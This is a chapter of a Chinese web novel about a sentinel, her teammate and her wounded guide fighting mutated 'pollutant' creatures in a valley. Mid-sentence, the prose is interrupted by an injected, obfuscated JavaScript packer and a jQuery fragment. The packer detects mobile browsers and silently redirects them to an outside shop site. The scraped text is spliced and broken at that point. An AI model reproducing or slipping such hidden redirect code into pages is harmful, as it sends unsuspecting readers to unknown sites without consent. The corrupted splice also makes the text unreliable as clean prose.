进入埃萨山谷的时间临近了,加上柳素心、李遂的离去,看热闹的人群逐渐散去。
偶有个别人上前搭讪叶维清,目的性极强,假装请教关于和向导匹配的问题,言语间又透露出对她的不屑。
叶维清不喜欢这样的人,也不愿在这时候浪费精力社交,勉强回了几句。
她一旦面无表情,脸就显得又冷又傲。气氛瞬间降至零点。
“C和F,我的队友?”
突然,冷漠的嗓音砸破这份尴尬。一个青年叉着腰,盯着叶维清。
每支小队至少三名队员。除了她和明月遥,还有一位,姓林名嫖姚,B级哨兵。
林嫖姚有着麦色皮肤,臂膀结实,五官骨感,显得英气勃勃;一头短发前长后短,覆住双耳的两条鬓发如尖刺。
她把不满明晃晃挂在面上,强势隔开那位搭讪的哨兵,伫立在叶维清面前。
叶维清以为她在不满队友的弱势。她被选入这支队伍,是为了弥补队内F级队员的实力短板。
“是我,叶维清。你好。”叶维清大大方方道,没被她的冷漠推拒。退一步说,只要队友会说话就已经很不错了。
林嫖姚凝视了她好一会儿,眼神漠然,“别拖我后腿。”
队伍开始集合出发。林嫖姚大跨步独行,甩下两人。
叶维清瞥了一眼明月遥,跟了上去。没走两步,她犹疑着放缓脚步,再次回头,看他是否跟上。
明月遥的动作略微迟缓,恹恹地动了步伐,落下一大截距离。
山谷初入极狭,行过一段路,莽莽苍苍的深绿跃入眼帘。闷热的风掠过,林涛阵阵,溪流波动清澈的涟漪。
大部队分成几股,流向不同方向。叶维清的小队朝西进发。经探查,西边的污染物最为弱小。
虬曲繁盛的大叶榕树遮天蔽日。烈日当空,毒辣的日光透过缝隙,直射下一道道光柱。
细微的鸟鸣回荡,细听又似婴儿啼叫。林嫖姚抽出枪,警惕地环顾四周,她的精神体鬃狼跑至前方探路。见她如此,叶维清也掏出枪,凝神聆听可疑的响动。
灌木丛里,鬃狼咆哮一声,林嫖姚立刻弹射过去。子弹瞬发,粘稠的黑血随之喷溅。此刻,鸟鸣声清晰可闻,声音里饱含疼痛。
叶维清上前。地上躺着一个污染物,体型如狼,没有毛发,骨头生长在皮肉外。林嫖姚重重踩了一脚,硬生生把污染物的外骨骼踩碎了。
窸窣声响起,从四面八方传来,夹杂着鸟鸣啼叫声。污染物窜出,张开血盆大口,锋利的牙齿滴落涎液,朝她们逼近。
没有丝毫犹豫,林嫖姚打响了战钟。她和鬃狼同时出击,子弹的巨响、咆哮、碎裂声混作一团。
有污染物朝明月遥扑来。叶维清射出一枚子弹,横扫一脚,污染物尖叫着倒下。她挡在他身前几步远之地。她会下意识保护队里较弱的人,这再正常不过。
这群污染物实力不强,加上有B级哨兵助阵,她们很快占据上风。污染物节节败退,几个苟活下来的四散奔逃。
林嫖姚并没有放松下来,她紧闭双眼,像在细细感受着什么。
鬃狼在一旁,迈着细长的四条腿,垂头细嗅,头颅拱到叶维清脚边,甩动尾巴。
“过来!”林嫖姚猝然睁眼,呵斥一声,鬃狼蔫蔫地上前,“东边有一群污染物往这边来了。你们两个继续前进,我解决掉它们再和你们汇合。”
她不像在商量,而是下了一个通知,俨然有队长的架势。
“我们是队友,最好一起行动。”叶维清拒绝了这个要求。
林嫖姚阴沉着脸,道:“少来这套。我的‘权能’在独自一人战斗时才能发挥出最好的水平。”
听了这话,叶维清明白过来了,点点头,嘱咐了一句:“注意安全,有事随时联系我们。”她点点手腕上的战术手表。
一个轻飘飘的“呵”音,随着林嫖姚的飞速跑动,模糊成一团风落进叶维清耳中。
林嫖姚渐行渐远,突然,她手一挥,一样东西划出半圆的抛物线,远远飞落在叶维清脚边。
捡起来,竟是一盒骸子弹。
这个林嫖姚……感觉很像某个人,具体像谁又一时想不起来。
叶维清在心里默默叹息,将骸子弹分了一半给明月遥。
踩过污染物的尸体,脚下咔嚓咔嚓,响起骨骼碎裂声。骨头碎片和黑血黏在鞋底。叶维清和明月遥马不停蹄往前赶。
正是一天中最炎热的时候,连热风都不再吹拂,周围一片沉寂。
汗珠流水般滑下脸颊,叶维清随手一抹,放慢步子,尽量照顾明月遥的速度。
行了许久,竟只看到一个污染物,孤零零游荡着,被叶维清一枪毙命。明月遥拿出简易仪器,采集污染物的脏器。
叶维清在附近望风。她脱了外套绑在腰间,露出里面的黑色背心,一下凉快不少。
她摆弄着手枪,填充骸子弹,手臂肌肉微微鼓起,线条优美又坚实。明月遥收好仪器,伫立不动,默默看着她。
她发现了他的注视,收起枪,说:“好了吗,走吧。”
风又开始吹拂,榕树枝上垂下的褐色气生根如一帘珠串,纷纷扬动。
跟随气生根的节奏,土地也开始颤动。叶维清察觉到不对劲,朝明月遥看了一眼,显然,他也感觉到了。
头顶的树枝被尽数斩断,一只庞然巨爪随着树枝轰然砸下。叶维清屈膝一跃,闪躲开来,抬枪射向巨爪。骸子弹在巨爪上钻开大洞,黑血汩汩流畅。
嚎叫响彻四周,仿佛婴儿的尖利啼哭。
巨爪胡乱挥舞,明月遥面孔苍白,似是体力不支,没能及
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940121|213891||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时避开攻击,一道抓伤贯穿上身,鲜血淅淅沥沥浸湿布料。
巨爪收回,一头狼型的污染物跳下树,长大嘴,吸吮爪上血液。相较于她们刚才碰到的污染物,这家伙更大更危险,爪子可以自由伸缩,简直就像变异过。
杂沓的哒哒声通过土地传到耳中,污染物开始聚集了。
“跑!”
叶维清大喊,向污染物连射几枪,抓紧明月遥的胳膊,极速逃离。
碍于身上的伤势,他脚步踉跄,勉强跟上她的步伐,好几次险些摔倒。血液落在地上,星星点点,他一手紧捂住伤口,咬紧牙关不让痛吟溢出。
风在耳边呼啸,叶维清像亡命之徒,在林间穿梭,用身体撞断挡路的枝叶,裸露出的皮肤上现出无数细小刮痕。
她束起的长发高高飘扬,如一面旗帜,卷过明月遥的脸颊。他闻到清冽的气味,她身上似乎散发出强烈的能量,暂时驱赶了几分疼痛。
前方有山壁,长满灌木和攀缘蕨类植物,一个狭窄的洞口被掩起。
跑进山洞里,她大口喘气,胸膛剧烈起伏,又闭上嘴,怕呼吸声引来污染物。明月遥瘫坐在地,血肉模糊的伤口从胸口歪扭到腹部。触目惊心。
“先把衣服脱了,不然黏在伤口上就完了。”叶维清蹲下身,仔细观察他的伤,压低声音道。
他费力地解外套扣子,手止不住发抖。
“我来吧。”见他异常吃力,叶维清三下五除二解开扣子。
里面是一件白衬衫。衬衫吸饱了血,正面红惨惨一片,皮肉翻卷,和布料粘连在一块。
明月遥歪着头,鼻尖冒出虚汗,整个人都在颤抖。她小心翼翼拈起碎布,撕扯开衬衫,想最大程度露出伤口。
只听得“刺啦”一声,连衬衫胸袋都裂开大缝,掉出一根编织精细的手绳。
两个人都不免一愣。明月遥慌忙攥住手绳,藏进裤子口袋内。
等等,这不对。叶维清以为自己眼花了,一时间思绪万千。
那根手绳她很熟悉。
加德有座久负盛名的寺庙,筑于山巅。香火缭绕,神像在云雾般的祈祷声中肃然危坐。叶维清并非迷信,只把此当成祝福的一种。
假期,她去做了义工,编织寺庙赠给香客的红绳,自己也保留了几条,一一送给友人。
那时,巴别塔恰好公布了匹配对象,她的名字赫然在列。她不可置信,再三思量后,托人送了一份礼物给自己的专属向导,其中确有那根手绳。
明月遥低垂下头,束起的长发松垮,半散落在肩头,遮掩住了他的脸庞,只能窥见那苍白的美丽嘴唇紧抿出痛苦的弧度。
叶维清久久凝望他,讶异和怀疑交织。
她本有小小的高兴,认为自己的心意有被认真对待,又不得不深思这其中是否暗藏陷阱。